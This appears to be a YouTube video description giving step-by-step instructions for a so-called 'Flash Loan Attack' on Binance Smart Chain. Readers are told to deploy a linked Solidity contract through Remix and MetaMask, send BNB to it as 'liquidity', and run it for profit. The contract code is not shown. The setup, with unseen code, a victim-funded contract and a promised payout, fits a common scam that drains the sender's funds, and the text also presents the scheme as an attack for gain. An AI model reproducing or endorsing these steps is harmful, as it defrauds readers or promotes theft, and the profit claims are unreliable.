Details of the article and source code can be found at: [ Ссылка ]
Step By Step Tutorial :
1. Download MetaMask For Chrome Web Browser
You can download and install MetaMask from this link: [ Ссылка ].
2. Create a “Custom RPC” in MetaMask for connecting to Binance Smart Chain
Name: Smart Chain
New RPC URL: [ Ссылка ]
ChainID: 56
Symbol: BNB
Block Explorer URL: [ Ссылка ]
this step is used for connecting your wallet to the Mainnet network Smart Chain. Below this is the network setting to add a Smart Chain.
For complete info about the explanation, please visit this Binance official article: [ Ссылка ].
3. Open [ Ссылка ] from your browser
Open Ethereum Remix to make or extend the smart contract which later is used for making a smart contract Flash Loan Attack to the Binance Smart Contract network.
4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0
Change the compiler version to “0.5.0+commit.1d4f565a”. This is needed to make your compiler version is the same as the source code you'll use.
5. Create a file Solidity “Flash Loan.sol” in the File Explorer (you can find the code on [ Ссылка ])
6. Click on Solidity Compiler (2nd menu button from the left) and Compile
Look for a dropdown Contract at the bottom of the Solidity Compiler menu, on that dropdown Contract choose “GetFlash Loan (Flash Loan.sol)” and then click Compile Flash Loan.sol.
7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy
- At the very top, change the dropdown Environment value to “Injected Web3” (For remix users, firstly there will be a confirmation on the MetaMask, Accept the confirmation notif on the MetaMask wallet Chrome Extention).
- The MetaMask wallet address will automatically be connected If you're already connected to your MetaMask Account.
- There's a dropdown next to the, click that dropdown and create a Smart Contract name you desired. Eg. :
_TOKENNAME = Flash Loan (write random token name)
_TOKENSYMBOL = FLO (write random three of four-letter symbol)
_LOANAMOUNT = 10 (amount loan)
- Click Transact and confirm in MetaMask.
- after you create a Smart Contract, wait till the transaction complete and you'll have your smart contract address.
8. Input a Liquidity to the Smart Contract
To input a Liquidity, transfer your nominal BNB to the Smart Contract address you have created before by using the transfer feature in the MetaMask Chrome Extention. Send the nominal BNB ( the amount BNB will affect the profit you will earn ). Wait till the liquidity addition transaction complete.
9. Flash Loan Attack
After creating a Smart Contract with liquidity added ( Step 8 ) and set the amount of loan ( Step 7 ), click the dropdown from the success transaction ( Step 7 ) it will display a dropdown menu with some button that is action, tokenName, tokenSymbol. Click "action" ( red button ) to run the smart contract. wait for a while until the transaction complete, and regularly check your BNB balance on the wallet from the MetaMask Chome Extension.
Note: Sometimes the code give error and sometimes it will not work from the first time.You must then start the whole process from begining.
#crypto #bitcoin #cryptocurrency #blockchain #btc #ethereum #forex #money #trading #bitcoinmining #cryptocurrencies #bitcoinnews #cryptotrading #bitcoins #investment #investing #entrepreneur #cryptonews #invest #business #eth #bitcointrading #forextrader #litecoin #bitcoincash #trader #bitcoinprice #investor #forextrading #bhfyp #binance #coinbase #xrp #forexsignals #finance #ripple #stocks #binary #hodl #bitcoinexchange #altcoin #success #blockchaintechnology #mining #forexlifestyle #usa #cryptoworld #wealth #motivation #financialfreedom #cryptomining #bitcoinbillionaire #trade #altcoins #ico #gold #stockmarket #wallstreet #cryptoinvestor #cryptotrader #bnb #cake #pancakeswap #doge #dogecoin #flashloan #hack
Ещё видео!